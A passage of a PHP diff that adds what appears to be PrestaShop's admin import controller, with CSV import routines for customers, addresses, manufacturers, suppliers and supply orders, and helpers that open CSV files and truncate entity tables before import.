'.(int)$id_product_attribute); + } + + foreach ($attributes_to_add as $attribute_to_add) + { + Db::getInstance()->execute(' + INSERT IGNORE INTO '._DB_PREFIX_.'product_attribute_combination (id_attribute, id_product_attribute) + VALUES ('.(int)$attribute_to_add.','.(int)$id_product_attribute.')'); + } + + StockAvailable::setQuantity($product->id, $id_product_attribute, (int)$info['quantity']); + } + } + + $this->closeCsvFile($handle); + } + + public function customerImport() + { + $customer_exist = false; + $this->receiveTab(); + $handle = $this->openCsvFile(); + AdminImportController::setLocale(); + for ($current_line = 0; $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); $current_line++) + { + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $info = AdminImportController::getMaskedRow($line); + + AdminImportController::setDefaultValues($info); + + if (Tools::getValue('forceIDs') && isset($info['id']) && (int)$info['id']) + $customer = new Customer((int)$info['id']); + else + { + if (array_key_exists('id', $info) && (int)$info['id'] && Customer::customerIdExistsStatic((int)$info['id'])) + $customer = new Customer((int)$info['id']); + else + $customer = new Customer(); + } + + if (array_key_exists('id', $info) && (int)$info['id'] && Customer::customerIdExistsStatic((int)$info['id'])) + { + $current_id_customer = $customer->id; + $current_id_shop = $customer->id_shop; + $current_id_shop_group = $customer->id_shop_group; + $customer_exist = true; + $customer_groups = $customer->getGroups(); + $addresses = $customer->getAddresses((int)Configuration::get('PS_LANG_DEFAULT')); + foreach ($customer_groups as $key => $group) + if ($group == $customer->id_default_group) + unset($customer_groups[$key]); + } + + AdminImportController::arrayWalk($info, array('AdminImportController', 'fillInfo'), $customer); + + if ($customer->passwd) + $customer->passwd = Tools::encrypt($customer->passwd); + + $id_shop_list = explode($this->multiple_value_separator, $customer->id_shop); + $customers_shop = array(); + $customers_shop['shared'] = array(); + $default_shop = new Shop((int)Configuration::get('PS_SHOP_DEFAULT')); + if (Shop::isFeatureActive() && $id_shop_list) + { + foreach ($id_shop_list as $id_shop) + { + $shop = new Shop((int)$id_shop); + $group_shop = $shop->getGroup(); + if ($group_shop->share_customer) + { + if (!in_array($group_shop->id, $customers_shop['shared'])) + $customers_shop['shared'][(int)$id_shop] = $group_shop->id; + } + else + $customers_shop[(int)$id_shop] = $group_shop->id; + } + } + else + { + $default_shop = new Shop((int)Configuration::get('PS_SHOP_DEFAULT')); + $default_shop->getGroup(); + $customers_shop[$default_shop->id] = $default_shop->getGroup()->id; + } + + //set temporally for validate field + $customer->id_shop = $default_shop->id; + $customer->id_shop_group = $default_shop->getGroup()->id; + + $res = true; + if (($field_error = $customer->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $customer->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true) + { + foreach ($customers_shop as $id_shop => $id_group) + { + if ($id_shop == 'shared') + { + foreach ($id_group as $key => $id) + { + $customer->id_shop = (int)$key; + $customer->id_shop_group = (int)$id; + if ($customer_exist && ($current_id_shop_group == $id || in_array($current_id_shop, ShopGroup::getShopsFromGroup($id)))) + { + $customer->id = $current_id_customer; + $res &= $customer->update(); + } + + else + { + $res &= $customer->add(); + if (isset($customer_groups)) + $customer->addGroups($customer_groups); + if (isset($addresses)) + foreach ($addresses as $address) + { + $address['id_customer'] = $customer->id; + unset($address['country'], $address['state'], $address['state_iso'], $address['id_address'] ); + Db::getInstance()->insert('address', $address); + } + } + } + } + else + { + $customer->id_shop = $id_shop; + $customer->id_shop_group = $id_group; + if ($customer_exist && $id_shop == $current_id_shop) + { + $customer->id = $current_id_customer; + $res &= $customer->update(); + } + else + { + $res &= $customer->add(); + if (isset($customer_groups)) + $customer->addGroups($customer_groups); + if (isset($addresses)) + foreach ($addresses as $address) + { + $address['id_customer'] = $customer->id; + unset($address['country'], $address['state'], $address['state_iso'], $address['id_address']); + Db::getInstance()->insert('address', $address); + } + } + } + } + } + $customer_exist = false; + if (!$res) + { + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $info['email'], + (isset($info['id']) ? $info['id'] : 'null') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + $this->closeCsvFile($handle); + } + + public function addressImport() + { + $this->receiveTab(); + $default_language_id = (int)Configuration::get('PS_LANG_DEFAULT'); + $handle = $this->openCsvFile(); + AdminImportController::setLocale(); + for ($current_line = 0; $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); $current_line++) + { + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $info = AdminImportController::getMaskedRow($line); + + AdminImportController::setDefaultValues($info); + $address = new Address(); + AdminImportController::arrayWalk($info, array('AdminImportController', 'fillInfo'), $address); + + if (isset($address->country) && is_numeric($address->country)) + { + if (Country::getNameById(Configuration::get('PS_LANG_DEFAULT'), (int)$address->country)) + $address->id_country = (int)$address->country; + } + else if (isset($address->country) && is_string($address->country) && !empty($address->country)) + { + if ($id_country = Country::getIdByName(null, $address->country)) + $address->id_country = (int)$id_country; + else + { + $country = new Country(); + $country->active = 1; + $country->name = AdminImportController::createMultiLangField($address->country); + $country->id_zone = 0; // Default zone for country to create + $country->iso_code = strtoupper(substr($address->country, 0, 2)); // Default iso for country to create + $country->contains_states = 0; // Default value for country to create + $lang_field_error = $country->validateFieldsLang(UNFRIENDLY_ERROR, true); + if (($field_error = $country->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $country->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $country->add()) + $address->id_country = (int)$country->id; + else + { + $this->errors[] = sprintf(Tools::displayError('%s cannot be saved'), $country->name[$default_language_id]); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + } + + if (isset($address->state) && is_numeric($address->state)) + { + if (State::getNameById((int)$address->state)) + $address->id_state = (int)$address->state; + } + else if (isset($address->state) && is_string($address->state) && !empty($address->state)) + { + if ($id_state = State::getIdByName($address->state)) + $address->id_state = (int)$id_state; + else + { + $state = new State(); + $state->active = 1; + $state->name = $address->state; + $state->id_country = isset($country->id) ? (int)$country->id : 0; + $state->id_zone = 0; // Default zone for state to create + $state->iso_code = strtoupper(substr($address->state, 0, 2)); // Default iso for state to create + $state->tax_behavior = 0; + if (($field_error = $state->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $state->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $state->add()) + $address->id_state = (int)$state->id; + else + { + $this->errors[] = sprintf(Tools::displayError('%s cannot be saved'), $state->name); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + } + + if (isset($address->customer_email) && !empty($address->customer_email)) + { + if (Validate::isEmail($address->customer_email)) + { + // a customer could exists in different shop + $customer_list = Customer::getCustomersByEmail($address->customer_email); + + if (count($customer_list) == 0) + $this->errors[] = sprintf( + Tools::displayError('%1$s does not exist in database %2$s (ID: %3$s) cannot be saved'), + Db::getInstance()->getMsgError(), + $address->customer_email, + (isset($info['id']) ? $info['id'] : 'null') + ); + } + else + { + $this->errors[] = sprintf(Tools::displayError('"%s": Is not a valid email address'), $address->customer_email); + continue; + } + } + elseif (isset($address->id_customer) && !empty($address->id_customer)) + { + if (Customer::customerIdExistsStatic((int)$address->id_customer)) + { + $customer = new Customer((int)$address->id_customer); + + // a customer could exists in different shop + $customer_list = Customer::getCustomersByEmail($customer->email); + + if (count($customer_list) == 0) + $this->errors[] = sprintf( + Tools::displayError('%1$s does not exist in database %2$s (ID: %3$s) cannot be saved'), + Db::getInstance()->getMsgError(), + $customer->email, + (int)$address->id_customer + ); + } + else + $this->errors[] = sprintf(Tools::displayError('The customer ID n.%d does not exist in the database (ID: %d) cannot be saved'), $address->id_customer); + } + else + { + $customer_list = array(); + $address->id_customer = 0; + } + + if (isset($address->manufacturer) && is_numeric($address->manufacturer) && Manufacturer::manufacturerExists((int)$address->manufacturer)) + $address->id_manufacturer = (int)$address->manufacturer; + else if (isset($address->manufacturer) && is_string($address->manufacturer) && !empty($address->manufacturer)) + { + $manufacturer = new Manufacturer(); + $manufacturer->name = $address->manufacturer; + if (($field_error = $manufacturer->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $manufacturer->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $manufacturer->add()) + $address->id_manufacturer = (int)$manufacturer->id; + else + { + $this->errors[] = Db::getInstance()->getMsgError().' '.sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $manufacturer->name, + (isset($manufacturer->id) ? $manufacturer->id : 'null') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + + if (isset($address->supplier) && is_numeric($address->supplier) && Supplier::supplierExists((int)$address->supplier)) + $address->id_supplier = (int)$address->supplier; + else if (isset($address->supplier) && is_string($address->supplier) && !empty($address->supplier)) + { + $supplier = new Supplier(); + $supplier->name = $address->supplier; + if (($field_error = $supplier->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $supplier->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $supplier->add()) + $address->id_supplier = (int)$supplier->id; + else + { + $this->errors[] = Db::getInstance()->getMsgError().' '.sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $supplier->name, + (isset($supplier->id) ? $supplier->id : 'null') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + + $res = false; + if (($field_error = $address->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $address->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true) + { + if (isset($customer_list) && count($customer_list) > 0) + { + $filter_list = array(); + foreach ($customer_list as $customer) + { + if (in_array($customer['id_customer'], $filter_list)) + continue; + + $filter_list[] = $customer['id_customer']; + + unset($address->id); + $address->id_customer = $customer['id_customer']; + $res = $address->add(); + + if (!$res) + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $info['alias'], + (isset($info['id']) ? $info['id'] : 'null') + ); + } + } + else + { + if ($address->id && $address->addressExists($address->id)) + $res = $address->update(); + if (!$res) + $res = $address->add(); + } + } + if (!$res) + { + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $info['alias'], + (isset($info['id']) ? $info['id'] : 'null') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + $this->closeCsvFile($handle); + } + + public function manufacturerImport() + { + $this->receiveTab(); + $handle = $this->openCsvFile(); + AdminImportController::setLocale(); + for ($current_line = 0; $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); $current_line++) + { + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $info = AdminImportController::getMaskedRow($line); + + AdminImportController::setDefaultValues($info); + + if (Tools::getValue('forceIDs') && isset($info['id']) && (int)$info['id']) + $manufacturer = new Manufacturer((int)$info['id']); + else + { + if (array_key_exists('id', $info) && (int)$info['id'] && Manufacturer::existsInDatabase((int)$info['id'], 'manufacturer')) + $manufacturer = new Manufacturer((int)$info['id']); + else + $manufacturer = new Manufacturer(); + } + + AdminImportController::arrayWalk($info, array('AdminImportController', 'fillInfo'), $manufacturer); + + $res = false; + if (($field_error = $manufacturer->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $manufacturer->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true) + { + if ($manufacturer->id && $manufacturer->manufacturerExists($manufacturer->id)) + $res = $manufacturer->update(); + if (!$res) + $res = $manufacturer->add(); + + if ($res) + { + // Associate supplier to group shop + if (Shop::isFeatureActive() && $manufacturer->shop) + { + Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'manufacturer_shop + WHERE id_manufacturer = '.(int)$manufacturer->id + ); + $manufacturer->shop = explode($this->multiple_value_separator, $manufacturer->shop); + $shops = array(); + foreach ($manufacturer->shop as $shop) + { + $shop = trim($shop); + if (!is_numeric($shop)) + $shop = ShopGroup::getIdByName($shop); + $shops[] = $shop; + } + $manufacturer->associateTo($shops); + } + } + } + + if (!$res) + { + $this->errors[] = Db::getInstance()->getMsgError().' '.sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + (isset($info['name']) ? Tools::safeOutput($info['name']) : 'No Name'), + (isset($info['id']) ? Tools::safeOutput($info['id']) : 'No ID') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + $this->closeCsvFile($handle); + } + + public function supplierImport() + { + $this->receiveTab(); + $handle = $this->openCsvFile(); + AdminImportController::setLocale(); + for ($current_line = 0; $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); $current_line++) + { + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $info = AdminImportController::getMaskedRow($line); + + AdminImportController::setDefaultValues($info); + + if (Tools::getValue('forceIDs') && isset($info['id']) && (int)$info['id']) + $supplier = new Supplier((int)$info['id']); + else + { + if (array_key_exists('id', $info) && (int)$info['id'] && Supplier::existsInDatabase((int)$info['id'], 'supplier')) + $supplier = new Supplier((int)$info['id']); + else + $supplier = new Supplier(); + } + + + AdminImportController::arrayWalk($info, array('AdminImportController', 'fillInfo'), $supplier); + if (($field_error = $supplier->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $supplier->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true) + { + $res = false; + if ($supplier->id && $supplier->supplierExists($supplier->id)) + $res = $supplier->update(); + if (!$res) + $res = $supplier->add(); + + if (!$res) + $this->errors[] = Db::getInstance()->getMsgError().' '.sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + (isset($info['name']) ? Tools::safeOutput($info['name']) : 'No Name'), + (isset($info['id']) ? Tools::safeOutput($info['id']) : 'No ID') + ); + else + { + // Associate supplier to group shop + if (Shop::isFeatureActive() && $supplier->shop) + { + Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'supplier_shop + WHERE id_supplier = '.(int)$supplier->id + ); + $supplier->shop = explode($this->multiple_value_separator, $supplier->shop); + $shops = array(); + foreach ($supplier->shop as $shop) + { + $shop = trim($shop); + if (!is_numeric($shop)) + $shop = ShopGroup::getIdByName($shop); + $shops[] = $shop; + } + $supplier->associateTo($shops); + } + } + } + else + { + $this->errors[] = $this->l('Supplier is invalid').' ('.$supplier->name.')'; + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''); + } + } + $this->closeCsvFile($handle); + } + + /** + * @since 1.5.0 + */ + public function supplyOrdersImport() + { + // opens CSV & sets locale + $this->receiveTab(); + $handle = $this->openCsvFile(); + AdminImportController::setLocale(); + + // main loop, for each supply orders to import + for ($current_line = 0; $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); ++$current_line) + { + // if convert requested + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $info = AdminImportController::getMaskedRow($line); + + // sets default values if needed + AdminImportController::setDefaultValues($info); + + // if an id is set, instanciates a supply order with this id if possible + if (array_key_exists('id', $info) && (int)$info['id'] && SupplyOrder::exists((int)$info['id'])) + $supply_order = new SupplyOrder((int)$info['id']); + // if a reference is set, instanciates a supply order with this reference if possible + else if (array_key_exists('reference', $info) && $info['reference'] && SupplyOrder::exists(pSQL($info['reference']))) + $supply_order = SupplyOrder::getSupplyOrderByReference(pSQL($info['reference'])); + else // new supply order + $supply_order = new SupplyOrder(); + + // gets parameters + $id_supplier = (int)$info['id_supplier']; + $id_lang = (int)$info['id_lang']; + $id_warehouse = (int)$info['id_warehouse']; + $id_currency = (int)$info['id_currency']; + $reference = pSQL($info['reference']); + $date_delivery_expected = pSQL($info['date_delivery_expected']); + $discount_rate = (float)$info['discount_rate']; + $is_template = (bool)$info['is_template']; + + // checks parameters + if (!Supplier::supplierExists($id_supplier)) + $this->errors[] = sprintf($this->l('Supplier ID (%d) is not valid (at line %d).'), $id_supplier, $current_line + 1); + if (!Language::getLanguage($id_lang)) + $this->errors[] = sprintf($this->l('Lang ID (%d) is not valid (at line %d).'), $id_lang, $current_line + 1); + if (!Warehouse::exists($id_warehouse)) + $this->errors[] = sprintf($this->l('Warehouse ID (%d) is not valid (at line %d).'), $id_warehouse, $current_line + 1); + if (!Currency::getCurrency($id_currency)) + $this->errors[] = sprintf($this->l('Currency ID (%d) is not valid (at line %d).'), $id_currency, $current_line + 1); + if (empty($supply_order->reference) && SupplyOrder::exists($reference)) + $this->errors[] = sprintf($this->l('Reference (%s) already exists (at line %d).'), $reference, $current_line + 1); + if (!empty($supply_order->reference) && ($supply_order->reference != $reference && SupplyOrder::exists($reference))) + $this->errors[] = sprintf($this->l('Reference (%s) already exists (at line %d).'), $reference, $current_line + 1); + if (!Validate::isDateFormat($date_delivery_expected)) + $this->errors[] = sprintf($this->l('Date (%s) is not valid (at line %d). Format: %s.'), $date_delivery_expected, + $current_line + 1, $this->l('YYYY-MM-DD')); + else if (new DateTime($date_delivery_expected) <= new DateTime('yesterday')) + $this->errors[] = sprintf($this->l('Date (%s) cannot be in the past (at line %d). Format: %s.'), $date_delivery_expected, + $current_line + 1, $this->l('YYYY-MM-DD')); + if ($discount_rate < 0 || $discount_rate > 100) + $this->errors[] = sprintf($this->l('Discount rate (%d) is not valid (at line %d). %s.'), $discount_rate, + $current_line + 1, $this->l('Format: Between 0 and 100')); + if ($supply_order->id > 0 && !$supply_order->isEditable()) + $this->errors[] = sprintf($this->l('Supply Order (%d) is not editable (at line %d).'), $supply_order->id, $current_line + 1); + + // if no errors, sets supply order + if (empty($this->errors)) + { + // adds parameters + $info['id_ref_currency'] = (int)Currency::getDefaultCurrency()->id; + $info['supplier_name'] = pSQL(Supplier::getNameById($id_supplier)); + if ($supply_order->id > 0) + { + $info['id_supply_order_state'] = (int)$supply_order->id_supply_order_state; + $info['id'] = (int)$supply_order->id; + } + else + $info['id_supply_order_state'] = 1; + + // sets parameters + AdminImportController::arrayWalk($info, array('AdminImportController', 'fillInfo'), $supply_order); + + // updatesd($supply_order); + $res = true; + if ($supply_order->id > 0) + $res &= $supply_order->update(); + else + $res &= $supply_order->add(); + + // errors + if (!$res) + $this->errors[] = sprintf($this->l('Supply Order could not be saved (at line %d).'), $current_line + 1); + } + } + + // closes + $this->closeCsvFile($handle); + } + + public function supplyOrdersDetailsImport() + { + // opens CSV & sets locale + $this->receiveTab(); + $handle = $this->openCsvFile(); + AdminImportController::setLocale(); + + $products = array(); + $reset = true; + // main loop, for each supply orders details to import + for ($current_line = 0; $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); ++$current_line) + { + // if convert requested + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $info = AdminImportController::getMaskedRow($line); + + // sets default values if needed + AdminImportController::setDefaultValues($info); + + // gets the supply order + if (array_key_exists('supply_order_reference', $info) && pSQL($info['supply_order_reference']) && SupplyOrder::exists(pSQL($info['supply_order_reference']))) + $supply_order = SupplyOrder::getSupplyOrderByReference(pSQL($info['supply_order_reference'])); + else + $this->errors[] = sprintf($this->l('Supply Order (%s) could not be loaded (at line %d).'), (int)$info['supply_order_reference'], $current_line + 1); + + if (empty($this->errors)) + { + // sets parameters + $id_product = (int)$info['id_product']; + if (!$info['id_product_attribute']) + $info['id_product_attribute'] = 0; + $id_product_attribute = (int)$info['id_product_attribute']; + $unit_price_te = (float)$info['unit_price_te']; + $quantity_expected = (int)$info['quantity_expected']; + $discount_rate = (float)$info['discount_rate']; + $tax_rate = (float)$info['tax_rate']; + + // checks if one product is there only once + if (isset($product['id_product'])) + { + if ($product['id_product'] == $id_product_attribute) + $this->errors[] = sprintf($this->l('Product (%d/%D) cannot be added twice (at line %d).'), $id_product, + $id_product_attribute, $current_line + 1); + else + $product['id_product'] = $id_product_attribute; + } + else + $product['id_product'] = 0; + + // checks parameters + if (false === ($supplier_reference = ProductSupplier::getProductSupplierReference($id_product, $id_product_attribute, $supply_order->id_supplier))) + $this->errors[] = sprintf($this->l('Product (%d/%d) is not available for this order (at line %d).'), $id_product, + $id_product_attribute, $current_line + 1); + if ($unit_price_te < 0) + $this->errors[] = sprintf($this->l('Unit Price (tax excl.) (%d) is not valid (at line %d).'), $unit_price_te, $current_line + 1); + if ($quantity_expected < 0) + $this->errors[] = sprintf($this->l('Quantity Expected (%d) is not valid (at line %d).'), $quantity_expected, $current_line + 1); + if ($discount_rate < 0 || $discount_rate > 100) + $this->errors[] = sprintf($this->l('Discount rate (%d) is not valid (at line %d). %s.'), $discount_rate, + $current_line + 1, $this->l('Format: Between 0 and 100')); + if ($tax_rate < 0 || $tax_rate > 100) + $this->errors[] = sprintf($this->l('Quantity Expected (%d) is not valid (at line %d).'), $tax_rate, + $current_line + 1, $this->l('Format: Between 0 and 100')); + + // if no errors, sets supply order details + if (empty($this->errors)) + { + // resets order if needed + if ($reset) + { + $supply_order->resetProducts(); + $reset = false; + } + + // creates new product + $supply_order_detail = new SupplyOrderDetail(); + AdminImportController::arrayWalk($info, array('AdminImportController', 'fillInfo'), $supply_order_detail); + + // sets parameters + $supply_order_detail->id_supply_order = $supply_order->id; + $currency = new Currency($supply_order->id_ref_currency); + $supply_order_detail->id_currency = $currency->id; + $supply_order_detail->exchange_rate = $currency->conversion_rate; + $supply_order_detail->supplier_reference = $supplier_reference; + $supply_order_detail->name = Product::getProductName($id_product, $id_product_attribute, $supply_order->id_lang); + + // gets ean13 / ref / upc + $query = new DbQuery(); + $query->select(' + IFNULL(pa.reference, IFNULL(p.reference, \'\')) as reference, + IFNULL(pa.ean13, IFNULL(p.ean13, \'\')) as ean13, + IFNULL(pa.upc, IFNULL(p.upc, \'\')) as upc + '); + $query->from('product', 'p'); + $query->leftJoin('product_attribute', 'pa', 'pa.id_product = p.id_product AND id_product_attribute = '.(int)$id_product_attribute); + $query->where('p.id_product = '.(int)$id_product); + $query->where('p.is_virtual = 0 AND p.cache_is_pack = 0'); + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + $product_infos = $res['0']; + + $supply_order_detail->reference = $product_infos['reference']; + $supply_order_detail->ean13 = $product_infos['ean13']; + $supply_order_detail->upc = $product_infos['upc']; + + $supply_order_detail->add(); + $supply_order->update(); + unset($supply_order_detail); + + } + } + } + + // closes + $this->closeCsvFile($handle); + } + + public function utf8EncodeArray($array) + { + return (is_array($array) ? array_map('utf8_encode', $array) : utf8_encode($array)); + } + + protected function getNbrColumn($handle, $glue) + { + $tmp = fgetcsv($handle, MAX_LINE_SIZE, $glue); + AdminImportController::rewindBomAware($handle); + return count($tmp); + } + + protected static function usortFiles($a, $b) + { + $a = strrev(substr(strrev($a), 0, 14)); + $b = strrev(substr(strrev($b), 0, 14)); + + if ($a == $b) + return 0; + + return ($a < $b) ? 1 : -1; + } + + protected function openCsvFile() + { + $handle = fopen(_PS_ADMIN_DIR_.'/import/'.strval(preg_replace('/\.{2,}/', '.', Tools::getValue('csv'))), 'r'); + + if (!$handle) + $this->errors[] = Tools::displayError('Cannot read the .CSV file'); + + AdminImportController::rewindBomAware($handle); + + for ($i = 0; $i < (int)Tools::getValue('skip'); ++$i) + $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); + return $handle; + } + + protected function closeCsvFile($handle) + { + fclose($handle); + } + + protected function truncateTables($case) + { + switch ((int)$case) + { + case $this->entities[$this->l('Categories')]: + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'category` + WHERE id_category NOT IN ('.(int)Configuration::get('PS_HOME_CATEGORY'). + ', '.(int)Configuration::get('PS_ROOT_CATEGORY').')'); + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'category_lang` + WHERE id_category NOT IN ('.(int)Configuration::get('PS_HOME_CATEGORY'). + ', '.(int)Configuration::get('PS_ROOT_CATEGORY').')'); + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'category_shop` + WHERE `id_category` NOT IN ('.(int)Configuration::get('PS_HOME_CATEGORY'). + ', '.(int)Configuration::get('PS_ROOT_CATEGORY').')'); + Db::getInstance()->execute('ALTER TABLE `'._DB_PREFIX_.'category` AUTO_INCREMENT = 3'); + foreach (scandir(_PS_CAT_IMG_DIR_) as $d) + if (preg_match('/^[0-9]+(\-(.*))?\.jpg$/', $d)) + unlink(_PS_CAT_IMG_DIR_.$d); + break; + case $this->entities[$this->l('Products')]: + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_shop'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'feature_product'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_lang'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'category_product'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_tag'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'image'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'image_lang'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'image_shop'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'specific_price'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'specific_price_priority'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_carrier'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'cart_product'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'compare_product'); + if (count(Db::getInstance()->executeS('SHOW TABLES LIKE \''._DB_PREFIX_.'favorite_product\' '))) //check if table exist + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'favorite_product'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attachment'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_country_tax'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_download'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_group_reduction_cache'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_sale'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_supplier'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'scene_products'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'warehouse_product_location'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'stock'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'stock_available'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'stock_mvt'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'customization'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'customization_field'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'supply_order_detail'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute_impact'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute_shop`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute_combination`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute_image`'); + Image::deleteAllImages(_PS_PROD_IMG_DIR_); + if (!file_exists(_PS_PROD_IMG_DIR_)) + mkdir(_PS_PROD_IMG_DIR_); + break; + case $this->entities[$this->l('Combinations')]: + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute_impact'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute_lang`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute_group`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute_group_lang`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute_group_shop`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute_shop`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute_shop`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute_combination`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute_image`'); + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'stock_available` WHERE id_product_attribute !=0'); + break; + case $this->entities[$this->l('Customers')]: + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'customer'); + break; + case $this->entities[$this->l('Addresses')]: + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'address'); + break; + case $this->entities[$this->l('Manufacturers')]: + Db::getInstance()->execute('TRUNCATE TABLE 